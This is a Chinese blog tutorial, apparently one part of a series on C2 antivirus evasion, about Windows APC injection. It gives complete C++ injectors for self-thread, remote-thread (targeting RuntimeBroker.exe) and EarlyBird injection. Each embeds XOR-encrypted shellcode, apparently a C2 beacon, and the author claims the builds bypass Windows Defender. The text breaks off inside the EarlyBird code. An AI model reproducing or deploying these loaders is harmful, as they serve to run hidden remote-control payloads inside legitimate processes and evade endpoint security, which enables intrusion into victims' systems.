【免杀】C2免杀技术(八)APC注入

概念

APC(Asynchronous Procedure Call)注入是一种利用 Windows 提供的异步回调机制,将任意代码排入某个线程的 APC 队列中,在该线程进入 alertable 状态时执行的技术。

一、基本原理

Windows中的每个线程都有一个APC队列,可以使用 QueueUserAPC 向某个线程队列添加一个函数指针(APC)。当该线程处于 “可警报”(Alertable)状态 时,会执行这个队列中的回调函数。

触发APC的关键条件:

1、目标线程必须处于 alertable 状态,例如通过 SleepExWaitForSingleObjectEx 等函数进入;

2、注入必须传入合法的线程句柄和函数指针。

我的理解:

APC注入就是“植入恶意回调队列”!

二、免杀中的价值

 1、规避传统行为特征检测

传统注入手法(如 CreateRemoteThreadWriteProcessMemory)早已被杀软列入高危API组合,只要一出现这些组合,常规杀软几乎秒杀。 而APC注入通过利用目标线程的APC队列执行恶意代码,流程相对“间接”。

2、绕过用户态的钩子/监控

很多杀软在 CreateRemoteThreadLoadLibrary 这些 API 上布置了用户态的 hook 或 inline hook,APC注入可以规避这些。

三、分类

我把它分为四种形式:

1、自身线程APC注入

2、目标合法线程APC注入-朴素

3、目标合法线程APC注入-EarlyBird

4、自建远程线程

自身线程APC注入  

注入流程

这种手法最简单,就是单纯地在自身APC队列做文章,自己玩自己

步骤操作说明
1VirtualAlloc分配内存给加密shellcode
2memcpy拷贝加密shellcode到内存
3构造APC参数结构体包含shellcode地址、长度、密钥
4QueueUserAPC挂载APC到自身线程
5SleepEx(…, TRUE)进入alertable,触发APC
6APC回调:解密->执行->擦除解密、执行shellcode并清空
7VirtualFree、清理参数释放资源

 注入器代码

#include <windows.h>
#include <iostream>
#include <string>

// XOR解密
void XORDecrypt(BYTE* data, SIZE_T len, const char* key, SIZE_T key_len) {
    for (SIZE_T i = 0; i < len; ++i) {
        data[i] ^= key[i % key_len];
    }
}

// shellcode数据(XOR加密,自己替换成上线的shellcode)
unsigned char encryptedShellcode[] = "\x97\x3d\xed\x8f\x85\x86\xa3\x75\x6e\x6b\x34\x3f\x2a\x25\x3c\x3a\x23\x26\x5a\xa7\x0b\x23\xfe\x3c\x0b\x3d\xe5\x39\x6d\x26\xe0\x27\x4e\x23\xfe\x1c\x3b\x3d\x61\xdc\x3f\x24\x26\x44\xa7\x23\x44\xae\xc7\x49\x0f\x17\x77\x42\x4b\x34\xaf\xa2\x78\x2f\x6a\xb4\x8c\x86\x27\x2f\x3a\x3d\xe5\x39\x55\xe5\x29\x49\x26\x6a\xa5\x08\xea\x0d\x76\x60\x77\x1b\x19\xfe\xee\xe3\x75\x6e\x6b\x3d\xeb\xab\x01\x09\x23\x74\xbe\x3b\xfe\x26\x73\x31\xe5\x2b\x55\x27\x6a\xa5\x8d\x3d\x3d\x91\xa2\x34\xe5\x5f\xfd\x26\x6a\xa3\x23\x5a\xbc\x26\x5a\xb5\xc2\x2a\xb4\xa7\x66\x34\x6f\xaa\x4d\x8e\x1e\x84\x22\x68\x39\x4a\x63\x30\x57\xba\x00\xb6\x33\x31\xe5\x2b\x51\x27\x6a\xa5\x08\x2a\xfe\x62\x23\x31\xe5\x2b\x69\x27\x6a\xa5\x2f\xe0\x71\xe6\x23\x74\xbe\x2a\x2d\x2f\x33\x2b\x37\x31\x34\x36\x2a\x2c\x2f\x31\x3d\xed\x87\x55\x2f\x39\x8a\x8e\x33\x34\x37\x31\x3d\xe5\x79\x9c\x21\x94\x8a\x91\x36\x1f\x6e\x22\xcb\x19\x02\x1b\x07\x05\x10\x1a\x6b\x34\x38\x22\xfc\x88\x27\xfc\x9f\x2a\xcf\x22\x1c\x53\x69\x94\xa0\x26\x5a\xbc\x26\x5a\xa7\x23\x5a\xb5\x23\x5a\xbc\x2f\x3b\x34\x3e\x2a\xcf\x54\x3d\x0c\xc9\x94\xa0\x85\x18\x2f\x26\xe2\xb4\x2f\xd3\x28\x7f\x6b\x75\x23\x5a\xbc\x2f\x3a\x34\x3f\x01\x76\x2f\x3a\x34\xd4\x3c\xfc\xf1\xad\x8a\xbb\x80\x2c\x35\x23\xfc\xaf\x23\x44\xbc\x22\xfc\xb6\x26\x44\xa7\x39\x1d\x6e\x69\x35\xea\x39\x27\x2f\xd1\x9e\x3b\x45\x4e\x91\xbe\x3d\xe7\xad\x3d\xed\xa8\x25\x04\x61\x2a\x26\xe2\x84\x26\xe2\xaf\x27\xac\xb5\x91\x94\x8a\x91\x26\x44\xa7\x39\x27\x2f\xd1\x58\x68\x73\x0e\x91\xbe\xf0\xae\x64\xf0\xf3\x6a\x75\x6e\x23\x8a\xa1\x64\xf1\xe2\x6a\x75\x6e\x80\xa6\x87\x8f\x74\x6e\x6b\x9d\xcc\x94\x8a\x91\x44\x11\x5d\x0f\x17\x6e\x9e\xe1\x94\xb9\x9b\x78\x83\xcc\x97\xe4\x7a\xf1\xa8\x9c\x2f\x5e\x92\x2e\xa9\x05\xac\x3b\x1a\x80\xad\x7f\x9b\xdc\x1a\x02\xe9\xa4\x43\x22\x61\x1c\xd2\xfe\x99\xcc\xb0\x2d\x7c\x58\xf8\x57\xe2\x0f\x1c\x40\xba\xc6\x72\xaf\x70\xdb\x00\x10\x71\xe1\x7d\x09\x2b\x1e\x34\xc1\x39\x43\xe5\x5b\x11\x81\x79\x75\x3b\x18\x10\x1c\x46\x34\x09\x0e\x1b\x1a\x51\x55\x23\x04\x0f\x07\x07\x19\x0f\x44\x40\x40\x5b\x55\x46\x08\x1a\x03\x1b\x14\x1a\x02\x17\x02\x0e\x4e\x4e\x26\x26\x27\x2e\x55\x57\x45\x45\x55\x4b\x22\x07\x05\x11\x01\x1c\x06\x4e\x25\x21\x4e\x5d\x5b\x5f\x50\x55\x3a\x19\x1c\x0a\x0e\x1b\x1a\x44\x40\x40\x5b\x5c\x4e\x27\x37\x2c\x39\x3a\x39\x38\x30\x3c\x66\x7f\x6e\xb3\x68\x27\xa6\x09\x09\xbf\x40\x64\xa6\x7e\x01\x28\xcd\x43\x33\x14\xb8\x22\xe3\x86\xe1\xbc\x6e\xbd\x0d\xd3\xa5\x0b\x86\x8d\xa6\x62\x24\x96\xe4\xa7\x64\x15\x25\x41\x93\xe6\xd1\x9e\xb5\xf5\x4e\x21\xed\x79\x51\xa7\xca\xe1\x1d\xa0\x13\xd2\xd8\xbc\x33\x3c\x1b\xeb\x04\x92\xbe\x0c\xd2\xd2\x84\xc4\xa4\x94\x67\xc0\xe7\xf3\x48\x36\x8f\x79\x11\xcb\x7b\xd7\x3d\x37\x32\xe9\xfc\xb7\x6a\xe1\xac\x27\xac\xe5\x30\x26\xf0\x58\x37\x41\x25\x54\xa0\xdf\xdd\x65\x7f\xe4\xfb\x0e\xff\x25\x03\x9b\x8e\xfb\x98\xab\xca\xf0\x6a\xe2\x5b\xae\xcb\x61\xfa\xaa\x15\xdc\x51\xd6\x58\x7c\x1b\x64\x83\xd0\xa6\x89\xe9\x2c\xa6\xff\x40\x9e\x83\xd5\x03\x41\x1d\x9c\xee\x07\x67\x80\xf9\xa3\x3f\x24\x32\x31\x0d\x28\x5e\xff\xa2\xd5\x4b\x2a\xd7\xb1\x4d\xed\x97\x38\xcb\x72\xa3\x18\x86\x4f\x41\xb6\xf1\x07\x4f\x9a\x22\x8c\xea\xe8\x5b\x09\x7e\xff\x54\x48\xcb\x55\xf6\xd9\x0b\xef\x4e\xb2\xc2\xca\x02\xe3\x6e\x2a\xcb\x9e\xde\xd7\x38\x94\xa0\x26\x5a\xbc\xd4\x6b\x75\x2e\x6b\x34\xd6\x6b\x65\x6e\x6b\x34\xd7\x2b\x75\x6e\x6b\x34\xd4\x33\xd1\x3d\x8e\x8a\xbb\x23\xe6\x3d\x38\x3d\xe7\x8c\x3d\xe7\x9a\x3d\xe7\xb1\x34\xd6\x6b\x55\x6e\x6b\x3c\xe7\x92\x34\xd4\x79\xe3\xe7\x89\x8a\xbb\x23\xf6\xaa\x4b\xf0\xae\x1f\xc3\x08\xe0\x72\x26\x6a\xb6\xeb\xab\x00\xb9\x33\x2d\x36\x23\x70\x6e\x6b\x75\x6e\x3b\xb6\x86\xf4\x88\x91\x94\x44\x57\x59\x5b\x5f\x5d\x4d\x40\x5f\x4d\x40\x5a\x75\x6e\x61\x59\x44";
SIZE_T shellcodeLen = sizeof(encryptedShellcode);

// 传递给APC的参数结构体
struct APC_PARAM {
    BYTE* pShellcode;
    SIZE_T shellcodeLen;
    const char* xorKey;
    SIZE_T keyLen;
};

// APC回调函数:解密->执行->清除
VOID CALLBACK APCProc(ULONG_PTR param) {
    APC_PARAM* ap = (APC_PARAM*)param;
    // 1. 解密
    XORDecrypt(ap->pShellcode, ap->shellcodeLen, ap->xorKey, ap->keyLen);

    // 2. 执行
    DWORD oldProt;
    VirtualProtect(ap->pShellcode, ap->shellcodeLen, PAGE_EXECUTE_READ, &oldProt);
    ((void(*)())ap->pShellcode)();

    // 3. 覆盖擦除
    SecureZeroMemory(ap->pShellcode, ap->shellcodeLen);
    VirtualProtect(ap->pShellcode, ap->shellcodeLen, oldProt, &oldProt);
}

int main() {
    // 1. 分配内存
    LPVOID pMem = VirtualAlloc(
        NULL, shellcodeLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    if (!pMem) {
        std::cerr << "VirtualAlloc failed.\n";
        return -1;
    }
    // 2. 拷贝加密数据
    memcpy(pMem, encryptedShellcode, shellcodeLen);

    // 3. 构造参数
    static const char xorKey[] = "kun";
    APC_PARAM* ap = new APC_PARAM{
        (BYTE*)pMem, shellcodeLen, xorKey, sizeof(xorKey) - 1
    };

    // 4. 挂载自身线程APC
    HANDLE hThread = GetCurrentThread();
    QueueUserAPC(APCProc, hThread, (ULONG_PTR)ap);

    // 5. 进入alertable状态,触发APC
    std::cout << "[*] SleepingEx to trigger APC..." << std::endl;
    SleepEx(10, TRUE); // alertable=TRUE

    // 6. 释放
    VirtualFree(pMem, 0, MEM_RELEASE);
    delete ap;

    std::cout << "[*] Done.\n";
    return 0;
}

测试截图

就这代码,本来是嘎嘎杀!反复调试之后,终于过DF,皇天不负有心人!

目标合法线程APC注入-朴素

此种注入方式才真正践行了APC注入的意义和价值,利用的是合法进程,规避传统检测。实战中需要选好进程。

注入流程

步骤操作描述细节/目的主要API/函数
1枚举目标进程查找所有目标进程名(如RuntimeBroker.exe)的PIDCreateToolhelp32SnapshotProcess32FirstW/Process32NextW
2遍历每个目标进程进行注入尝试支持多实例,逐个处理循环
3打开目标进程以最高权限获取句柄,准备用于内存操作OpenProcess
4远程分配内存(RW)在目标进程分配与shellcode等长的内存(初始为可写不可执行)VirtualAllocEx
5写入加密Shellcode将XOR加密的shellcode写入远程内存(暂不可执行)WriteProcessMemory
6远程内存逐字节解密逐字节解密(XOR),每写一个字节都远程Write一次WriteProcessMemory (循环)
7修改内存属性为可执行(RX)将远程内存区域属性改为可执行(防止执行时崩溃)VirtualProtectEx
8枚举所有线程获取该进程下所有线程IDCreateToolhelp32SnapshotThread32First/Thread32Next
9遍历所有线程并尝试APC注入对每个线程:打开线程、调用APC、关闭句柄OpenThread, QueueUserAPC, CloseHandle
10成功注入即退出循环,失败则尝试下一个进程只要有任意线程APC队列成功即视为成功,否则下一个进程程序控制逻辑

注入器代码

我这里利用的目标进程是RuntimeBroker.exe

#include <Windows.h>
#include <TlHelp32.h>
#include <stdio.h>

// ========== [ 你的加密Shellcode填在这里 ] ==========
// 用 "kun" XOR 加密后的shellcode字节数组
unsigned char enc_shellcode[] = "\x97\x3d\xed\x8f\x85\x86\xa3\x75\x6e\x6b\x34\x3f\x2a\x25\x3c\x3a\x23\x26\x5a\xa7\x0b\x23\xfe\x3c\x0b\x3d\xe5\x39\x6d\x26\xe0\x27\x4e\x23\xfe\x1c\x3b\x3d\x61\xdc\x3f\x24\x26\x44\xa7\x23\x44\xae\xc7\x49\x0f\x17\x77\x42\x4b\x34\xaf\xa2\x78\x2f\x6a\xb4\x8c\x86\x27\x2f\x3a\x3d\xe5\x39\x55\xe5\x29\x49\x26\x6a\xa5\x08\xea\x0d\x76\x60\x77\x1b\x19\xfe\xee\xe3\x75\x6e\x6b\x3d\xeb\xab\x01\x09\x23\x74\xbe\x3b\xfe\x26\x73\x31\xe5\x2b\x55\x27\x6a\xa5\x8d\x3d\x3d\x91\xa2\x34\xe5\x5f\xfd\x26\x6a\xa3\x23\x5a\xbc\x26\x5a\xb5\xc2\x2a\xb4\xa7\x66\x34\x6f\xaa\x4d\x8e\x1e\x84\x22\x68\x39\x4a\x63\x30\x57\xba\x00\xb6\x33\x31\xe5\x2b\x51\x27\x6a\xa5\x08\x2a\xfe\x62\x23\x31\xe5\x2b\x69\x27\x6a\xa5\x2f\xe0\x71\xe6\x23\x74\xbe\x2a\x2d\x2f\x33\x2b\x37\x31\x34\x36\x2a\x2c\x2f\x31\x3d\xed\x87\x55\x2f\x39\x8a\x8e\x33\x34\x37\x31\x3d\xe5\x79\x9c\x21\x94\x8a\x91\x36\x1f\x6e\x22\xcb\x19\x02\x1b\x07\x05\x10\x1a\x6b\x34\x38\x22\xfc\x88\x27\xfc\x9f\x2a\xcf\x22\x1c\x53\x69\x94\xa0\x26\x5a\xbc\x26\x5a\xa7\x23\x5a\xb5\x23\x5a\xbc\x2f\x3b\x34\x3e\x2a\xcf\x54\x3d\x0c\xc9\x94\xa0\x85\x18\x2f\x26\xe2\xb4\x2f\xd3\x28\x7f\x6b\x75\x23\x5a\xbc\x2f\x3a\x34\x3f\x01\x76\x2f\x3a\x34\xd4\x3c\xfc\xf1\xad\x8a\xbb\x80\x2c\x35\x23\xfc\xaf\x23\x44\xbc\x22\xfc\xb6\x26\x44\xa7\x39\x1d\x6e\x69\x35\xea\x39\x27\x2f\xd1\x9e\x3b\x45\x4e\x91\xbe\x3d\xe7\xad\x3d\xed\xa8\x25\x04\x61\x2a\x26\xe2\x84\x26\xe2\xaf\x27\xac\xb5\x91\x94\x8a\x91\x26\x44\xa7\x39\x27\x2f\xd1\x58\x68\x73\x0e\x91\xbe\xf0\xae\x64\xf0\xf3\x6a\x75\x6e\x23\x8a\xa1\x64\xf1\xe2\x6a\x75\x6e\x80\xa6\x87\x8f\x74\x6e\x6b\x9d\xcc\x94\x8a\x91\x44\x11\x5d\x0f\x17\x6e\x9e\xe1\x94\xb9\x9b\x78\x83\xcc\x97\xe4\x7a\xf1\xa8\x9c\x2f\x5e\x92\x2e\xa9\x05\xac\x3b\x1a\x80\xad\x7f\x9b\xdc\x1a\x02\xe9\xa4\x43\x22\x61\x1c\xd2\xfe\x99\xcc\xb0\x2d\x7c\x58\xf8\x57\xe2\x0f\x1c\x40\xba\xc6\x72\xaf\x70\xdb\x00\x10\x71\xe1\x7d\x09\x2b\x1e\x34\xc1\x39\x43\xe5\x5b\x11\x81\x79\x75\x3b\x18\x10\x1c\x46\x34\x09\x0e\x1b\x1a\x51\x55\x23\x04\x0f\x07\x07\x19\x0f\x44\x40\x40\x5b\x55\x46\x08\x1a\x03\x1b\x14\x1a\x02\x17\x02\x0e\x4e\x4e\x26\x26\x27\x2e\x55\x57\x45\x45\x55\x4b\x22\x07\x05\x11\x01\x1c\x06\x4e\x25\x21\x4e\x5d\x5b\x5f\x50\x55\x3a\x19\x1c\x0a\x0e\x1b\x1a\x44\x40\x40\x5b\x5c\x4e\x27\x37\x2c\x39\x3a\x39\x38\x30\x3c\x66\x7f\x6e\xb3\x68\x27\xa6\x09\x09\xbf\x40\x64\xa6\x7e\x01\x28\xcd\x43\x33\x14\xb8\x22\xe3\x86\xe1\xbc\x6e\xbd\x0d\xd3\xa5\x0b\x86\x8d\xa6\x62\x24\x96\xe4\xa7\x64\x15\x25\x41\x93\xe6\xd1\x9e\xb5\xf5\x4e\x21\xed\x79\x51\xa7\xca\xe1\x1d\xa0\x13\xd2\xd8\xbc\x33\x3c\x1b\xeb\x04\x92\xbe\x0c\xd2\xd2\x84\xc4\xa4\x94\x67\xc0\xe7\xf3\x48\x36\x8f\x79\x11\xcb\x7b\xd7\x3d\x37\x32\xe9\xfc\xb7\x6a\xe1\xac\x27\xac\xe5\x30\x26\xf0\x58\x37\x41\x25\x54\xa0\xdf\xdd\x65\x7f\xe4\xfb\x0e\xff\x25\x03\x9b\x8e\xfb\x98\xab\xca\xf0\x6a\xe2\x5b\xae\xcb\x61\xfa\xaa\x15\xdc\x51\xd6\x58\x7c\x1b\x64\x83\xd0\xa6\x89\xe9\x2c\xa6\xff\x40\x9e\x83\xd5\x03\x41\x1d\x9c\xee\x07\x67\x80\xf9\xa3\x3f\x24\x32\x31\x0d\x28\x5e\xff\xa2\xd5\x4b\x2a\xd7\xb1\x4d\xed\x97\x38\xcb\x72\xa3\x18\x86\x4f\x41\xb6\xf1\x07\x4f\x9a\x22\x8c\xea\xe8\x5b\x09\x7e\xff\x54\x48\xcb\x55\xf6\xd9\x0b\xef\x4e\xb2\xc2\xca\x02\xe3\x6e\x2a\xcb\x9e\xde\xd7\x38\x94\xa0\x26\x5a\xbc\xd4\x6b\x75\x2e\x6b\x34\xd6\x6b\x65\x6e\x6b\x34\xd7\x2b\x75\x6e\x6b\x34\xd4\x33\xd1\x3d\x8e\x8a\xbb\x23\xe6\x3d\x38\x3d\xe7\x8c\x3d\xe7\x9a\x3d\xe7\xb1\x34\xd6\x6b\x55\x6e\x6b\x3c\xe7\x92\x34\xd4\x79\xe3\xe7\x89\x8a\xbb\x23\xf6\xaa\x4b\xf0\xae\x1f\xc3\x08\xe0\x72\x26\x6a\xb6\xeb\xab\x00\xb9\x33\x2d\x36\x23\x70\x6e\x6b\x75\x6e\x3b\xb6\x86\xf4\x88\x91\x94\x44\x57\x59\x5b\x5f\x5d\x4d\x40\x5f\x4d\x40\x5a\x75\x6e\x61\x59\x44";
size_t shellcode_len = sizeof(enc_shellcode);

// XOR解密key
const char xor_key[] = "kun";
size_t xor_key_len = sizeof(xor_key) - 1;

// 枚举目标进程名所有PID(返回数量)
size_t FindTargetProcesses(LPCWSTR processName, DWORD pids[], size_t maxPids) {
    PROCESSENTRY32W pe = { sizeof(pe) };
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snap == INVALID_HANDLE_VALUE) return 0;
    size_t count = 0;
    if (Process32FirstW(snap, &pe)) {
        do {
            if (_wcsicmp(pe.szExeFile, processName) == 0 && count < maxPids) {
                pids[count++] = pe.th32ProcessID;
            }
        } while (Process32NextW(snap, &pe));
    }
    CloseHandle(snap);
    return count;
}

// 枚举某进程所有线程ID,返回实际数量
size_t FindAllThreads(DWORD pid, DWORD tids[], size_t maxThreads) {
    THREADENTRY32 te = { sizeof(te) };
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (snap == INVALID_HANDLE_VALUE) return 0;
    size_t count = 0;
    if (Thread32First(snap, &te)) {
        do {
            if (te.th32OwnerProcessID == pid && count < maxThreads) {
                tids[count++] = te.th32ThreadID;
            }
        } while (Thread32Next(snap, &te));
    }
    CloseHandle(snap);
    return count;
}

// 执行APC注入到目标进程所有线程,任意一个注入成功就算成功
int InjectAPC_AllThreads(DWORD pid) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) {
        printf("[-] PID %u: OpenProcess失败, 错误码: %u\n", pid, GetLastError());
        return -1;
    }
    // 分配远程内存
    LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!remoteMem) {
        printf("[-] PID %u: VirtualAllocEx失败, 错误码: %u\n", pid, GetLastError());
        CloseHandle(hProcess);
        return -2;
    }
    // 写入加密shellcode
    if (!WriteProcessMemory(hProcess, remoteMem, enc_shellcode, shellcode_len, NULL)) {
        printf("[-] PID %u: WriteProcessMemory(加密)失败, 错误码: %u\n", pid, GetLastError());
        VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return -3;
    }
    // 逐字节解密远程内存(会被EDR监控到,但这里是演示)
    for (size_t i = 0; i < shellcode_len; ++i) {
        unsigned char dec = enc_shellcode[i] ^ xor_key[i % xor_key_len];
        if (!WriteProcessMemory(hProcess, (LPVOID)((BYTE*)remoteMem + i), &dec, 1, NULL)) {
            printf("[-] PID %u: WriteProcessMemory(解密)失败@%zu, 错误码: %u\n", pid, i, GetLastError());
            VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
            CloseHandle(hProcess);
            return -4;
        }
    }
    // 改为可执行
    DWORD oldProtect;
    if (!VirtualProtectEx(hProcess, remoteMem, shellcode_len, PAGE_EXECUTE_READ, &oldProtect)) {
        printf("[-] PID %u: VirtualProtectEx失败, 错误码: %u\n", pid, GetLastError());
        VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return -5;
    }
    // 枚举所有线程
    DWORD tids[128];
    size_t tcount = FindAllThreads(pid, tids, 128);
    if (tcount == 0) {
        printf("[-] PID %u: 未找到任何线程\n", pid);
        VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return -6;
    }
    int injectSuccess = 0;
    for (size_t i = 0; i < tcount; ++i) {
        HANDLE hThread = OpenThread(THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME | THREAD_QUERY_INFORMATION, FALSE, tids[i]);
        if (!hThread) continue;
        // 尝试APC注入
        if (QueueUserAPC((PAPCFUNC)remoteMem, hThread, NULL)) {
            printf("[+] PID %u: TID %u APC队列成功\n", pid, tids[i]);
            injectSuccess = 1; // 只要有一个成功即可
        }
        CloseHandle(hThread);
    }
    if (!injectSuccess) {
        printf("[-] PID %u: APC注入未成功(所有线程都失败)\n", pid);
        VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return -7;
    }
    CloseHandle(hProcess);
    return 0;
}

int wmain() {
    LPCWSTR target = L"RuntimeBroker.exe"; // 改成你要注入的进程名
    DWORD pids[32];
    size_t count = FindTargetProcesses(target, pids, 32);
    if (count == 0) {
        wprintf(L"[-] 未找到目标进程 %ls\n", target);
        return -1;
    }
    wprintf(L"[+] 找到 %ls %zu 个实例。将依次尝试注入...\n", target, count);
    for (size_t i = 0; i < count; ++i) {
        DWORD pid = pids[i];
        printf("[*] 注入 PID %u ...\n", pid);
        if (InjectAPC_AllThreads(pid) == 0) {
            printf("[+] 注入成功: PID %u\n", pid);
            break; // 成功则退出
        }
        printf("[!] 注入 PID %u 失败, 尝试下一个。\n", pid);
    }
    printf("[DONE]\n");
    return 0;
}

测试截图

这种朴素的APC,我测试时,编译出来就过DF,可以看到上线的进程是RuntimeBroker.exe

目标合法线程APC注入-EarlyBird

早鸟模式,利用的是“线程劫持”,流程有点像“进程镂空”

注入流程

步骤操作是否在远程进程中执行说明
1创建挂起进程使用 CreateProcess 创建目标进程
2分配远程内存使用 VirtualAllocEx 分配 RWX 内存
3写入加密 shellcode使用 WriteProcessMemory 写入密文
4解密 shellcode在远程内存中逐字节 XOR 解密
5插入 APC 回调使用 QueueUserAPC 插入入口地址
6恢复主线程使用 ResumeThread 执行 shellcode
7清除 shellcode使用 WriteProcessMemory 写入 0

注入器代码

#include <Windows.h>
#include <iostream>
#include <string>

// ========== 你加密后的 shellcode 填在这里 ==========
unsigned char enc_shellcode[] = "\x97\x3d\xed\x8f\x85\x86\xa3\x75\x6e\x6b\x34\x3f\x2a\x25\x3c\x3a\x23\x26\x5a\xa7\x0b\x23\xfe\x3c\x0b\x3d\xe5\x39\x6d\x26\xe0\x27\x4e\x23\xfe\x1c\x3b\x3d\x61\xdc\x3f\x24\x26\x44\xa7\x23\x44\xae\xc7\x49\x0f\x17\x77\x42\x4b\x34\xaf\xa2\x78\x2f\x6a\xb4\x8c\x86\x27\x2f\x3a\x3d\xe5\x39\x55\xe5\x29\x49\x26\x6a\xa5\x08\xea\x0d\x76\x60\x77\x1b\x19\xfe\xee\xe3\x75\x6e\x6b\x3d\xeb\xab\x01\x09\x23\x74\xbe\x3b\xfe\x26\x73\x31\xe5\x2b\x55\x27\x6a\xa5\x8d\x3d\x3d\x91\xa2\x34\xe5\x5f\xfd\x26\x6a\xa3\x23\x5a\xbc\x26\x5a\xb5\xc2\x2a\xb4\xa7\x66\x34\x6f\xaa\x4d\x8e\x1e\x84\x22\x68\x39\x4a\x63\x30\x57\xba\x00\xb6\x33\x31\xe5\x2b\x51\x27\x6a\xa5\x08\x2a\xfe\x62\x23\x31\xe5\x2b\x69\x27\x6a\xa5\x2f\xe0\x71\xe6\x23\x74\xbe\x2a\x2d\x2f\x33\x2b\x37\x31\x34\x36\x2a\x2c\x2f\x31\x3d\xed\x87\x55\x2f\x39\x8a\x8e\x33\x34\x37\x31\x3d\xe5\x79\x9c\x21\x94\x8a\x91\x36\x1f\x6e\x22\xcb\x19\x02\x1b\x07\x05\x10\x1a\x6b\x34\x38\x22\xfc\x88\x27\xfc\x9f\x2a\xcf\x22\x1c\x53\x69\x94\xa0\x26\x5a\xbc\x26\x5a\xa7\x23\x5a\xb5\x23\x5a\xbc\x2f\x3b\x34\x3e\x2a\xcf\x54\x3d\x0c\xc9\x94\xa0\x85\x18\x2f\x26\xe2\xb4\x2f\xd3\x28\x7f\x6b\x75\x23\x5a\xbc\x2f\x3a\x34\x3f\x01\x76\x2f\x3a\x34\xd4\x3c\xfc\xf1\xad\x8a\xbb\x80\x2c\x35\x23\xfc\xaf\x23\x44\xbc\x22\xfc\xb6\x26\x44\xa7\x39\x1d\x6e\x69\x35\xea\x39\x27\x2f\xd1\x9e\x3b\x45\x4e\x91\xbe\x3d\xe7\xad\x3d\xed\xa8\x25\x04\x61\x2a\x26\xe2\x84\x26\xe2\xaf\x27\xac\xb5\x91\x94\x8a\x91\x26\x44\xa7\x39\x27\x2f\xd1\x58\x68\x73\x0e\x91\xbe\xf0\xae\x64\xf0\xf3\x6a\x75\x6e\x23\x8a\xa1\x64\xf1\xe2\x6a\x75\x6e\x80\xa6\x87\x8f\x74\x6e\x6b\x9d\xcc\x94\x8a\x91\x44\x11\x5d\x0f\x17\x6e\x9e\xe1\x94\xb9\x9b\x78\x83\xcc\x97\xe4\x7a\xf1\xa8\x9c\x2f\x5e\x92\x2e\xa9\x05\xac\x3b\x1a\x80\xad\x7f\x9b\xdc\x1a\x02\xe9\xa4\x43\x22\x61\x1c\xd2\xfe\x99\xcc\xb0\x2d\x7c\x58\xf8\x57\xe2\x0f\x1c\x40\xba\xc6\x72\xaf\x70\xdb\x00\x10\x71\xe1\x7d\x09\x2b\x1e\x34\xc1\x39\x43\xe5\x5b\x11\x81\x79\x75\x3b\x18\x10\x1c\x46\x34\x09\x0e\x1b\x1a\x51\x55\x23\x04\x0f\x07\x07\x19\x0f\x44\x40\x40\x5b\x55\x46\x08\x1a\x03\x1b\x14\x1a\x02\x17\x02\x0e\x4e\x4e\x26\x26\x27\x2e\x55\x57\x45\x45\x55\x4b\x22\x07\x05\x11\x01\x1c\x06\x4e\x25\x21\x4e\x5d\x5b\x5f\x50\x55\x3a\x19\x1c\x0a\x0e\x1b\x1a\x44\x40\x40\x5b\x5c\x4e\x27\x37\x2c\x39\x3a\x39\x38\x30\x3c\x66\x7f\x6e\xb3\x68\x27\xa6\x09\x09\xbf\x40\x64\xa6\x7e\x01\x28\xcd\x43\x33\x14\xb8\x22\xe3\x86\xe1\xbc\x6e\xbd\x0d\xd3\xa5\x0b\x86\x8d\xa6\x62\x24\x96\xe4\xa7\x64\x15\x25\x41\x93\xe6\xd1\x9e\xb5\xf5\x4e\x21\xed\x79\x51\xa7\xca\xe1\x1d\xa0\x13\xd2\xd8\xbc\x33\x3c\x1b\xeb\x04\x92\xbe\x0c\xd2\xd2\x84\xc4\xa4\x94\x67\xc0\xe7\xf3\x48\x36\x8f\x79\x11\xcb\x7b\xd7\x3d\x37\x32\xe9\xfc\xb7\x6a\xe1\xac\x27\xac\xe5\x30\x26\xf0\x58\x37\x41\x25\x54\xa0\xdf\xdd\x65\x7f\xe4\xfb\x0e\xff\x25\x03\x9b\x8e\xfb\x98\xab\xca\xf0\x6a\xe2\x5b\xae\xcb\x61\xfa\xaa\x15\xdc\x51\xd6\x58\x7c\x1b\x64\x83\xd0\xa6\x89\xe9\x2c\xa6\xff\x40\x9e\x83\xd5\x03\x41\x1d\x9c\xee\x07\x67\x80\xf9\xa3\x3f\x24\x32\x31\x0d\x28\x5e\xff\xa2\xd5\x4b\x2a\xd7\xb1\x4d\xed\x97\x38\xcb\x72\xa3\x18\x86\x4f\x41\xb6\xf1\x07\x4f\x9a\x22\x8c\xea\xe8\x5b\x09\x7e\xff\x54\x48\xcb\x55\xf6\xd9\x0b\xef\x4e\xb2\xc2\xca\x02\xe3\x6e\x2a\xcb\x9e\xde\xd7\x38\x94\xa0\x26\x5a\xbc\xd4\x6b\x75\x2e\x6b\x34\xd6\x6b\x65\x6e\x6b\x34\xd7\x2b\x75\x6e\x6b\x34\xd4\x33\xd1\x3d\x8e\x8a\xbb\x23\xe6\x3d\x38\x3d\xe7\x8c\x3d\xe7\x9a\x3d\xe7\xb1\x34\xd6\x6b\x55\x6e\x6b\x3c\xe7\x92\x34\xd4\x79\xe3\xe7\x89\x8a\xbb\x23\xf6\xaa\x4b\xf0\xae\x1f\xc3\x08\xe0\x72\x26\x6a\xb6\xeb\xab\x00\xb9\x33\x2d\x36\x23\x70\x6e\x6b\x75\x6e\x3b\xb6\x86\xf4\x88\x91\x94\x44\x57\x59\x5b\x5f\x5d\x4d\x40\x5f\x4d\x40\x5a\x75\x6e\x61\x59\x44";
size_t shellcode_len = sizeof(enc_shellcode);

// 解密函数(在远程内存中操作)
void DecryptRemoteShellcode(HANDLE hProcess, LPVOID remoteAddr, size_t len, const char* key) {
    char* buffer = new char[len];
